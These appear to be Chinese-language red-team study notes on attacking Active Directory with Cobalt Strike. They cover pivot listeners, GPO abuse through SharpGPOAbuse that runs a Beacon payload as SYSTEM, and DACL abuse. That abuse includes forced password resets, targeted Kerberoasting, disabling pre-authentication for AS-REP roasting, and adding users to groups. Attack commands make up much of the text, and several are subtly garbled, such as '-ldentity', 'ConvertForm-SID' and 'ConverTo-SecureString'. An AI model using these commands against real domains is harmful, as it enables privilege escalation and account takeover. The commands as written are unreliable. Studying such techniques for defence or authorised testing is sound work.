组策略对象
组策略是森林或域中控制计算机和用户配置的中央存储库,组策略对象GPO是应用于OU的
配置集。OU中任何计算机或成员都被GPO所影响。
默认情况下,只有域管理员可以创建GPO并将GPO链接到OU,但通常的做法是将这些权限
委派给其他团队,例如委派工作站管理员创建GPO并将其链接到工作站OU的权限。
当一组用户有权限修改应用高特权用户GPO时,或被特权用户使用的计算机,往往容易导致
特权提升,GPO也可被利用与横向移动并创建持久化后门。
跳板监听器
实际上,存在另一种P2P监听器,跳板监听器与TCP监听器的工作原理相反,当生成一个
TCP监听器的Beacon,Beacon作为TCP服务器并且等待连接进来的现存Beacon,即
TCP客户端。
跳板监听器并不在监听菜单中创建,而是绑定在个人Beacon,现存的Beacon会绑定一个端口
并且监听前来的连接,即作为TCP服务器,而使用了跳板监听器的Beacon载荷则是客户端。
创建:
右键Beacon->Pivoting->Listener
RSAT
RSAT是微软提供的用于协助管理域内组件的管理组件,由于它是合法的工具且经常在工作站
与服务器上使用,所以我们可以利用它而不需要携带外部工具。
GroupPolicy模块有数个powershell命令可以用于管理GPO,包括
new-gpo:创建一个新的空GPO
new-gplink:将一个GPO连接到站点、域、或OU
set-gpprefregistryvalue:在计算机或用户配置下配置下一个注册表偏好条目。
SHarpGPOAbuse
SharpGPOAbuse工具(https://github.com/FSecureLABS/SharpGPOAbuse)可被用于进行一系列
对GPO的利用,它不能创建新的GPO,因此在这里我们需要用RSAT等工具创建目标GPO或者对我们
具有写权限的GPO进行利用。
使用SharpGPOAbuse给目标GPO添加立即计划任务
execute-assembly SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" -- Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c\\dc-2\c$\users\beacon.exe" --GPOName "PowerShell Logging"
DACL
在域内,也许会有一些主体对于其他更高特权的账号具有ACLs,这会导致账号接管,比如support组可以修改域管理员密码。
枚举作用于某个账号所有DACL
Get-ObjectAcl -ldentity bfarmer -ResolveGUIDs | Foreach-Object{$_| Add-Member -NotePropertyName ldentity -NotePropertyValue [ConvertForm-SID $_.Securityldentifier.vale] - Force;$_}
可以枚举当前用户具有权限的用户,可以在Boolhound中更直观的观察DACL。
重置用户密码
当用户A可以重置用户B密码时
net user jadams Password /domain
PowerView中
Set-DomainUserPassword -identity jadams -AccountPassword [ConverTo-SecureString 'Password' -AsPlainText -Force]-Verbose
OPSEC:这是个很不好的OPSEC
设置SPN
GenericWrite权限也可以用此方法进行利用
我们还可以给用户设置SPN并进行Kerberoasting攻击,之后离线破解Krb5TGS哈希
PowerView中
Set-DomainObject -ldentity jadams -Set @{serviceprincipalname="srv-1/evli"}
execute-assembly rubeus.exe kerberoast /user:jadams /format:hashcat /nowrap
Set-DomainObject -ldentity jadams -Clear ServicePrincpalName
禁用预认证
类似于刚才的思想,我们可以进制用户账号的预认证然后对其进行ASREPRoasting攻击
我们需要修改目标用户账号的UAC值以禁用预认证
Get-NetUser -ldentity jadams | ConvertFrom-UACValue
Set-DomainObject -ldntity jadams -XOR@{UserAccountControl=4194304}
Get-NetUser -ldentity jadams | ConvertFrom-UACValue
execute-assembly rubeus.exe asreproast /user:jadams /format:hashcat /nowrap
修改组成员
如果我们对一个组具有ACL,我们可以添加或删除组成员
net group “Oracle Admin”bfarmer /add /domain
还有其他有意思的的DACL可能导致类似的利用,例如我们可以利用WriteDacl从而将
GenericAll权限授予任何主体。我们还可以利用WriteOwner从而将对象的所有权更改为
任何主体,然后该主体将在其上继承GenericAll。
总结
1.跳板监听器使用
2.GPO利用
3.DACL的枚举
4.常见DACL的利用